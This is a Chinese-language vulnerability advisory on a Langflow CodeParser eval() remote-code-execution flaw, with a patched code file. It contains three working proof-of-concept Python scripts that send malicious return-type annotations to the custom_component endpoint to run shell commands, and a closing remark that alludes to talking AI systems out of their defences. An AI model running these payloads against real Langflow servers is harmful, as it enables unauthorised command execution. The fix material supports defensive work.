Langflow 1.8.3 CodeParser eval() —RCE漏洞分析+POC
小0day;CodeParser.parse_callable_details() 方法在解析函数的返回类型注解时,将注解字符串通过 ast.unparse() 提取后直接传递给 eval() 执行。
1.漏洞描述
CodeParser.parse_callable_details() 方法在解析函数的返回类型注解时,将注解字符串通过 ast.unparse() 提取后直接传递给 eval() 执行。eval() 的执行环境 (eval_env) 由 construct_eval_env() 构建,但从未设置 __builtins__ = {}。
Python 规范规定:当传递给 eval() 的 globals dict 中不包含 __builtins__ 键时,Python 解释器会自动将完整的 builtins 模块添加进去。因此 __import__、open、exec、eval 等所有内置函数均可在 eval 环境中使用。
我们可以在自定义组件代码的函数返回类型注解中嵌入恶意表达式(如 __import__('os').popen('cmd').read()),当 CodeParser 解析该代码时,eval() 会直接执行该表达式。
2.利用条件
1.需要有效的token;
2.需要已经认证的用户,是不是admin都可以
3.可以达到 custom_component 端点
3. 漏洞目录结构
langflow-1.8.1/src/
├── lfx/src/lfx/custom/code_parser/
│ ├── code_parser.py # 漏洞文件 4.漏洞分析(两个危险点)
4.1 问题一:eval() 无沙箱执行
文件在 src/lfx/src/lfx/custom/code_parser/code_parser.py:155-164中
def parse_callable_details(self, node: ast.FunctionDef) -> dict[str, Any]:
"""Extracts details from a single function or method node."""
return_type = None
if node.returns:
return_type_str = ast.unparse(node.returns) # 反馈类型注解字符串
eval_env = self.construct_eval_env(return_type_str, tuple(self.data["imports"]))
# Handle cases where the type is not found in the constructed environment
with contextlib.suppress(NameError):
return_type = eval(return_type_str, eval_env) # noqa: S307 # sink点 无沙箱eval
这里的 eval(return_type_str, eval_env) 没有限制,就说明返回类型注解中的任意表达式被执行,且eval_env 未设置 __builtins__={} ,也就是说我可以使用任意内置函数。
4.2 问题二:construct_eval_env() 使用 exec() + f-string 动态导入
文件在 src/lfx/src/lfx/custom/code_parser/code_parser.py:133-153中
def construct_eval_env(self, return_type_str: str, imports) -> dict:
"""Constructs an evaluation environment.
Constructs an evaluation environment with the necessary imports for the return type,
taking into account module aliases.
"""
eval_env: dict = {}
for import_entry in imports:
if isinstance(import_entry, tuple): # from module import name
module, name = import_entry
if name in return_type_str:
exec(f"import {module}", eval_env)
exec(f"from {module} import {name}", eval_env)
else: # import module
module = import_entry
alias = None
if " as " in module:
module, alias = module.split(" as ")
if module in return_type_str or (alias and alias in return_type_str):
exec(f"import {module} as {alias or module}", eval_env)
return eval_env
这个函数使用 exec() + f-string 动态导入用户代码中的模块到 eval_env 中。如果用户代码中有 import os,且返回类型注解包含 os,则 os 模块会被导入到 eval 环境中,使 eval("os.popen('cmd').read()", eval_env) 可以执行。
5.完整的攻击链
Step 1: 构造恶意 Python 代码
def build(self) -> __import__("os").popen("id").read():
return "safe"Step 2: 发送请求
POST /api/v1/custom_component
{"code": "<包含恶意返回类型注解的组件代码>"}
Authorization: Bearer <token>Step 3: 处理
图片展示
src\backend\base\langflow\api\v1\endpoints.py中指向src\lfx\src\lfx\custom\custom_component\base_component.py,最后到src\lfx\src\lfx\custom\code_parser\code_parser.py

6.利用方法(POC)
POC1:通过import在返回类型注解
TARGET = "ip"
TOKEN = ""
payload = '''
from langflow.custom import Component
from lfx.io import Output
class PoCComponent(Component):
display_name = "Test"
outputs = [Output(display_name="Out", name="out", method="build")]
def build(self) -> __import__("os").popen("id").read():
return "test"
'''
resp = requests.post(f"{TARGET}/api/v1/custom_component",
json={"code": payload},
headers={"Authorization": f"Bearer {TOKEN}"})
print(resp.json()["detail"]["error"])
POC2:lambda+throw回传输出
TARGET = ""
TOKEN = ""
payload = '''
from langflow.custom import Component
from lfx.io import Output
class PoCComponent(Component):
display_name = "Test"
outputs = [Output(display_name="Out", name="out", method="build")]
def build(self) -> (lambda: (_ for _ in ()).throw(Exception(__import__("os").popen("id").read())))():
return "test"
'''
resp = requests.post(f"{TARGET}/api/v1/custom_component",
json={"code": payload},
headers={"Authorization": f"Bearer {TOKEN}"})
print(resp.json()["detail"]["error"])
POC3:import链RCE
import requests
TARGET = ""
TOKEN = ""
payload = '''
import os
from langflow.custom import Component
from lfx.io import Output
class PoCComponent(Component):
display_name = "Test"
outputs = [Output(display_name="Out", name="out", method="build")]
def build(self) -> os.popen("id").read():
return "test"
'''
resp = requests.post(f"{TARGET}/api/v1/custom_component",
json={"code": payload},
headers={"Authorization": f"Bearer {TOKEN}"})
print(resp.json()["detail"]["error"])
7.修复点
修复点1 :AST白名单验证
_VALID_IDENTIFIER = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*(\.[A-Za-z_][A-Za-z0-9_]*)*$")
@staticmethod
def _is_safe_identifier(name: str) -> bool:
"""Check that a string is a valid dotted Python identifier, not a code injection."""
return bool(CodeParser._VALID_IDENTIFIER.match(name))
@staticmethod
def _is_safe_return_type_ast(node: ast.AST) -> bool:
"""Validate that an AST node only contains type-annotation-safe constructs.
Allowed node types: Name, Attribute, Subscript, Constant, Tuple, List,
BinOp(|), Starred, Index (deprecated but harmless), and None/Ellipsis constants.
Disallowed: Call (blocks __import__(...), os.popen(...), etc.), Lambda, etc.
"""
_SAFE_NODE_TYPES = (
ast.Name,
ast.Attribute,
ast.Subscript,
ast.Constant,
ast.Tuple,
ast.List,
ast.BinOp,
ast.Starred,
ast.Load,
ast.Store,
ast.Del,
ast.BitOr, # for X | Y union syntax
)
for child in ast.walk(node):
if not isinstance(child, _SAFE_NODE_TYPES):
return False
return True_is_safe_identifier(): 验证模块名只包含字母、数字、下划线和点号(合法的 Python 点分标识符),阻止 os; import sys 等注入;_is_safe_return_type_ast(): 遍历返回类型注解 AST,只允许类型注解合法的节点。关键:ast.Call 不在白名单内,直接阻断所有函数调用形式的攻击。
修复点2 :重写construct_eval_env()方法
def construct_eval_env(self, return_type_str: str, imports) -> dict:
"""Constructs an evaluation environment.
Constructs an evaluation environment with the necessary imports for the return type,
taking into account module aliases.
Security: Uses importlib instead of exec() to prevent code injection via module names.
Always sets __builtins__={} to prevent access to dangerous built-in functions.
"""
eval_env: dict = {"__builtins__": {}} #
for import_entry in imports:
if isinstance(import_entry, tuple): # from module import name
module, name = import_entry
# Strip alias from name if present (e.g., "Foo as Bar")
bare_name = name.split(" as ")[-1].strip() if " as " in name else name
import_name = name.split(" as ")[0].strip() if " as " in name else name
if bare_name in return_type_str:
if not self._is_safe_identifier(module) or not self._is_safe_identifier(import_name):
logger.warning(f"Skipping suspicious import: from {module} import {name}")
continue
try:
#使用 importlib 替代 exec()
mod = importlib.import_module(module)
obj = getattr(mod, import_name, None)
if obj is not None:
eval_env[bare_name] = obj
except (ImportError, AttributeError):
pass
else: # import module
module = import_entry
alias = None
if " as " in module:
module, alias = module.split(" as ")
module = module.strip()
alias = alias.strip()
if module in return_type_str or (alias and alias in return_type_str):
if not self._is_safe_identifier(module):
logger.warning(f"Skipping suspicious import: import {module}")
continue
if alias and not self._is_safe_identifier(alias):
logger.warning(f"Skipping suspicious import alias: {alias}")
continue
try:
# 使用 importlib 替代 exec()
mod = importlib.import_module(module)
eval_env[alias or module] = mod
except ImportError:
pass
return eval_env主要是改动原始代码eval_env:dict = {}为eval_env: dict = {"builtins": {}}目的是阻止 __import__ 等内置函数可用、添加了_is_safe_identifier(module)为的是阻断注入形式的import语句。
修复点3:在 parse_callable_details()方法 增加 AST 前置检查
def parse_callable_details(self, node: ast.FunctionDef) -> dict[str, Any]:
"""Extracts details from a single function or method node."""
return_type = None
if node.returns:
# Security: Validate the return type AST before eval.
# Reject any annotation containing Call nodes (blocks __import__(), popen(), etc.)
if not self._is_safe_return_type_ast(node.returns):
logger.warning(
f"Skipping unsafe return type annotation in function '{node.name}': "
f"{ast.unparse(node.returns)}"
)
else:
return_type_str = ast.unparse(node.returns)
eval_env = self.construct_eval_env(return_type_str, tuple(self.data["imports"]))
# Handle cases where the type is not found in the constructed environment
with contextlib.suppress(NameError):
return_type = eval(return_type_str, eval_env) # noqa: S307
func = CallableCodeDetails(
name=node.name,
doc=ast.get_docstring(node),
args=self.parse_function_args(node),
body=self.parse_function_body(node),
return_type=return_type,
has_return=self.parse_return_statement(node),
)
return func.model_dump()主要在eval()前添加了_is_safe_return_type_ast() 检查,目的是不安全的注解直接跳过并记录日志
修复代码
文件地址langflow-1.8.3\src\lfx\src\lfx\custom\code_parser\code_parser.py直接复制替换即可,但是要先备份
import ast
import contextlib
import importlib
import inspect
import re
import traceback
from itertools import starmap
from pathlib import Path
from typing import Any
from cachetools import TTLCache, keys
from fastapi import HTTPException
from lfx.custom.eval import eval_custom_component_code
from lfx.custom.schema import CallableCodeDetails, ClassCodeDetails, MissingDefault
from lfx.log.logger import logger
class CodeSyntaxError(HTTPException):
pass
def get_data_type():
from lfx.schema.data import Data
return Data
def find_class_ast_node(class_obj):
"""Finds the AST node corresponding to the given class object."""
# Get the source file where the class is defined
source_file = inspect.getsourcefile(class_obj)
if not source_file:
return None, []
# Read the source code from the file
source_code = Path(source_file).read_text(encoding="utf-8")
# Parse the source code into an AST
tree = ast.parse(source_code)
# Search for the class definition node in the AST
class_node = None
import_nodes = []
for node in ast.walk(tree):
if isinstance(node, ast.ClassDef) and node.name == class_obj.__name__:
class_node = node
elif isinstance(node, ast.Import | ast.ImportFrom):
import_nodes.append(node)
return class_node, import_nodes
def imports_key(*args, **kwargs):
imports = kwargs.pop("imports")
key = keys.methodkey(*args, **kwargs)
key += tuple(imports)
return key
class CodeParser:
"""A parser for Python source code, extracting code details."""
def __init__(self, code: str | type) -> None:
"""Initializes the parser with the provided code."""
self.cache: TTLCache = TTLCache(maxsize=1024, ttl=60)
if isinstance(code, type):
if not inspect.isclass(code):
msg = "The provided code must be a class."
raise ValueError(msg)
# If the code is a class, get its source code
code = inspect.getsource(code)
self.code = code
self.data: dict[str, Any] = {
"imports": [],
"functions": [],
"classes": [],
"global_vars": [],
}
self.handlers = {
ast.Import: self.parse_imports,
ast.ImportFrom: self.parse_imports,
ast.FunctionDef: self.parse_functions,
ast.ClassDef: self.parse_classes,
ast.Assign: self.parse_global_vars,
}
def get_tree(self):
"""Parses the provided code to validate its syntax.
It tries to parse the code into an abstract syntax tree (AST).
"""
try:
tree = ast.parse(self.code)
except SyntaxError as err:
raise CodeSyntaxError(
status_code=400,
detail={"error": err.msg, "traceback": traceback.format_exc()},
) from err
return tree
def parse_node(self, node: ast.stmt | ast.AST) -> None:
"""Parses an AST node and updates the data dictionary with the relevant information."""
if handler := self.handlers.get(type(node)):
handler(node) # type: ignore[operator]
def parse_imports(self, node: ast.Import | ast.ImportFrom) -> None:
"""Extracts "imports" from the code, including aliases."""
if isinstance(node, ast.Import):
for alias in node.names:
if alias.asname:
self.data["imports"].append(f"{alias.name} as {alias.asname}")
else:
self.data["imports"].append(alias.name)
elif isinstance(node, ast.ImportFrom):
for alias in node.names:
if alias.asname:
self.data["imports"].append((node.module, f"{alias.name} as {alias.asname}"))
else:
self.data["imports"].append((node.module, alias.name))
def parse_functions(self, node: ast.FunctionDef) -> None:
"""Extracts "functions" from the code."""
self.data["functions"].append(self.parse_callable_details(node))
def parse_arg(self, arg, default):
"""Parses an argument and its default value."""
arg_dict = {"name": arg.arg, "default": default}
if arg.annotation:
arg_dict["type"] = ast.unparse(arg.annotation)
return arg_dict
# Regex pattern for valid Python identifiers (module names, aliases)
_VALID_IDENTIFIER = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*(\.[A-Za-z_][A-Za-z0-9_]*)*$")
@staticmethod
def _is_safe_identifier(name: str) -> bool:
"""Check that a string is a valid dotted Python identifier, not a code injection."""
return bool(CodeParser._VALID_IDENTIFIER.match(name))
@staticmethod
def _is_safe_return_type_ast(node: ast.AST) -> bool:
"""Validate that an AST node only contains type-annotation-safe constructs.
Allowed node types: Name, Attribute, Subscript, Constant, Tuple, List,
BinOp(|), Starred, Index (deprecated but harmless), and None/Ellipsis constants.
Disallowed: Call (blocks __import__(...), os.popen(...), etc.), Lambda, etc.
"""
_SAFE_NODE_TYPES = (
ast.Name,
ast.Attribute,
ast.Subscript,
ast.Constant,
ast.Tuple,
ast.List,
ast.BinOp,
ast.Starred,
ast.Load,
ast.Store,
ast.Del,
ast.BitOr, # for X | Y union syntax
)
for child in ast.walk(node):
if not isinstance(child, _SAFE_NODE_TYPES):
return False
return True
# @cachedmethod(operator.attrgetter("cache"))
def construct_eval_env(self, return_type_str: str, imports) -> dict:
"""Constructs an evaluation environment.
Constructs an evaluation environment with the necessary imports for the return type,
taking into account module aliases.
Security: Uses importlib instead of exec() to prevent code injection via module names.
Always sets __builtins__={} to prevent access to dangerous built-in functions.
"""
eval_env: dict = {"__builtins__": {}}
for import_entry in imports:
if isinstance(import_entry, tuple): # from module import name
module, name = import_entry
# Strip alias from name if present (e.g., "Foo as Bar")
bare_name = name.split(" as ")[-1].strip() if " as " in name else name
import_name = name.split(" as ")[0].strip() if " as " in name else name
if bare_name in return_type_str:
# Validate identifiers before importing
if not self._is_safe_identifier(module) or not self._is_safe_identifier(import_name):
logger.warning(f"Skipping suspicious import: from {module} import {name}")
continue
try:
mod = importlib.import_module(module)
obj = getattr(mod, import_name, None)
if obj is not None:
eval_env[bare_name] = obj
except (ImportError, AttributeError):
pass
else: # import module
module = import_entry
alias = None
if " as " in module:
module, alias = module.split(" as ")
module = module.strip()
alias = alias.strip()
if module in return_type_str or (alias and alias in return_type_str):
# Validate identifiers before importing
if not self._is_safe_identifier(module):
logger.warning(f"Skipping suspicious import: import {module}")
continue
if alias and not self._is_safe_identifier(alias):
logger.warning(f"Skipping suspicious import alias: {alias}")
continue
try:
mod = importlib.import_module(module)
eval_env[alias or module] = mod
except ImportError:
pass
return eval_env
def parse_callable_details(self, node: ast.FunctionDef) -> dict[str, Any]:
"""Extracts details from a single function or method node."""
return_type = None
if node.returns:
# Security: Validate the return type AST before eval.
# Reject any annotation containing Call nodes (blocks __import__(), popen(), etc.)
if not self._is_safe_return_type_ast(node.returns):
logger.warning(
f"Skipping unsafe return type annotation in function '{node.name}': "
f"{ast.unparse(node.returns)}"
)
else:
return_type_str = ast.unparse(node.returns)
eval_env = self.construct_eval_env(return_type_str, tuple(self.data["imports"]))
# Handle cases where the type is not found in the constructed environment
with contextlib.suppress(NameError):
return_type = eval(return_type_str, eval_env) # noqa: S307
func = CallableCodeDetails(
name=node.name,
doc=ast.get_docstring(node),
args=self.parse_function_args(node),
body=self.parse_function_body(node),
return_type=return_type,
has_return=self.parse_return_statement(node),
)
return func.model_dump()
def parse_function_args(self, node: ast.FunctionDef) -> list[dict[str, Any]]:
"""Parses the arguments of a function or method node."""
args = []
args += self.parse_positional_args(node)
args += self.parse_varargs(node)
args += self.parse_keyword_args(node)
# Commented out because we don't want kwargs
# showing up as fields in the frontend
args += self.parse_kwargs(node)
return args
def parse_positional_args(self, node: ast.FunctionDef) -> list[dict[str, Any]]:
"""Parses the positional arguments of a function or method node."""
num_args = len(node.args.args)
num_defaults = len(node.args.defaults)
num_missing_defaults = num_args - num_defaults
missing_defaults = [MissingDefault()] * num_missing_defaults
default_values = [ast.unparse(default).strip("'") if default else None for default in node.args.defaults]
# Now check all default values to see if there
# are any "None" values in the middle
default_values = [None if value == "None" else value for value in default_values]
defaults = missing_defaults + default_values
return list(starmap(self.parse_arg, zip(node.args.args, defaults, strict=True)))
def parse_varargs(self, node: ast.FunctionDef) -> list[dict[str, Any]]:
"""Parses the *args argument of a function or method node."""
args = []
if node.args.vararg:
args.append(self.parse_arg(node.args.vararg, None))
return args
def parse_keyword_args(self, node: ast.FunctionDef) -> list[dict[str, Any]]:
"""Parses the keyword-only arguments of a function or method node."""
kw_defaults = [None] * (len(node.args.kwonlyargs) - len(node.args.kw_defaults)) + [
ast.unparse(default) if default else None for default in node.args.kw_defaults
]
return list(starmap(self.parse_arg, zip(node.args.kwonlyargs, kw_defaults, strict=True)))
def parse_kwargs(self, node: ast.FunctionDef) -> list[dict[str, Any]]:
"""Parses the **kwargs argument of a function or method node."""
args = []
if node.args.kwarg:
args.append(self.parse_arg(node.args.kwarg, None))
return args
def parse_function_body(self, node: ast.FunctionDef) -> list[str]:
"""Parses the body of a function or method node."""
return [ast.unparse(line) for line in node.body]
def parse_return_statement(self, node: ast.FunctionDef) -> bool:
"""Parses the return statement of a function or method node, including nested returns."""
def has_return(node):
if isinstance(node, ast.Return):
return True
if isinstance(node, ast.If):
return any(has_return(child) for child in node.body) or any(has_return(child) for child in node.orelse)
if isinstance(node, ast.Try):
return (
any(has_return(child) for child in node.body)
or any(has_return(child) for child in node.handlers)
or any(has_return(child) for child in node.finalbody)
)
if isinstance(node, ast.For | ast.While):
return any(has_return(child) for child in node.body) or any(has_return(child) for child in node.orelse)
if isinstance(node, ast.With):
return any(has_return(child) for child in node.body)
return False
return any(has_return(child) for child in node.body)
def parse_assign(self, stmt):
"""Parses an Assign statement and returns a dictionary with the target's name and value."""
for target in stmt.targets:
if isinstance(target, ast.Name):
return {"name": target.id, "value": ast.unparse(stmt.value)}
return None
def parse_ann_assign(self, stmt):
"""Parses an AnnAssign statement and returns a dictionary with the target's name, value, and annotation."""
if isinstance(stmt.target, ast.Name):
return {
"name": stmt.target.id,
"value": ast.unparse(stmt.value) if stmt.value else None,
"annotation": ast.unparse(stmt.annotation),
}
return None
def parse_function_def(self, stmt):
"""Parse a FunctionDef statement.
Parse a FunctionDef statement and return the parsed method and a boolean indicating if it's an __init__ method.
"""
method = self.parse_callable_details(stmt)
return (method, True) if stmt.name == "__init__" else (method, False)
def get_base_classes(self):
"""Returns the base classes of the custom component class."""
try:
bases = self.execute_and_inspect_classes(self.code)
except Exception:
# If the code cannot be executed, return an empty list
bases = []
raise
return bases
def parse_classes(self, node: ast.ClassDef) -> None:
"""Extracts "classes" from the code, including inheritance and init methods."""
bases = self.get_base_classes()
nodes = []
for base in bases:
if base.__name__ == node.name or base.__name__ in {"CustomComponent", "Component", "BaseComponent"}:
continue
try:
class_node, import_nodes = find_class_ast_node(base)
if class_node is None:
continue
for import_node in import_nodes:
self.parse_imports(import_node)
nodes.append(class_node)
except Exception: # noqa: BLE001
logger.exception("Error finding base class node")
nodes.insert(0, node)
class_details = ClassCodeDetails(
name=node.name,
doc=ast.get_docstring(node),
bases=[b.__name__ for b in bases],
attributes=[],
methods=[],
init=None,
)
for _node in nodes:
self.process_class_node(_node, class_details)
self.data["classes"].append(class_details.model_dump())
def process_class_node(self, node, class_details) -> None:
for stmt in node.body:
if isinstance(stmt, ast.Assign):
if attr := self.parse_assign(stmt):
class_details.attributes.append(attr)
elif isinstance(stmt, ast.AnnAssign):
if attr := self.parse_ann_assign(stmt):
class_details.attributes.append(attr)
elif isinstance(stmt, ast.FunctionDef | ast.AsyncFunctionDef):
method, is_init = self.parse_function_def(stmt)
if is_init:
class_details.init = method
else:
class_details.methods.append(method)
def parse_global_vars(self, node: ast.Assign) -> None:
"""Extracts global variables from the code."""
global_var = {
"targets": [t.id if hasattr(t, "id") else ast.dump(t) for t in node.targets],
"value": ast.unparse(node.value),
}
self.data["global_vars"].append(global_var)
def execute_and_inspect_classes(self, code: str):
custom_component_class = eval_custom_component_code(code)
custom_component = custom_component_class(_code=code)
dunder_class = custom_component.__class__
# Get the base classes at two levels of inheritance
bases = []
for base in dunder_class.__bases__:
bases.append(base)
bases.extend(base.__bases__)
return bases
def parse_code(self) -> dict[str, Any]:
"""Runs all parsing operations and returns the resulting data."""
tree = self.get_tree()
for node in ast.walk(tree):
self.parse_node(node)
return self.data注意:该漏洞不仅对于1.8.3可以通杀,当然对于1.8.4也是通杀



你好。我这边有逻辑层面的ai漏洞需要修复的。可以提供帮助聊聊吗?就是光聊天让系统进入无防御状态。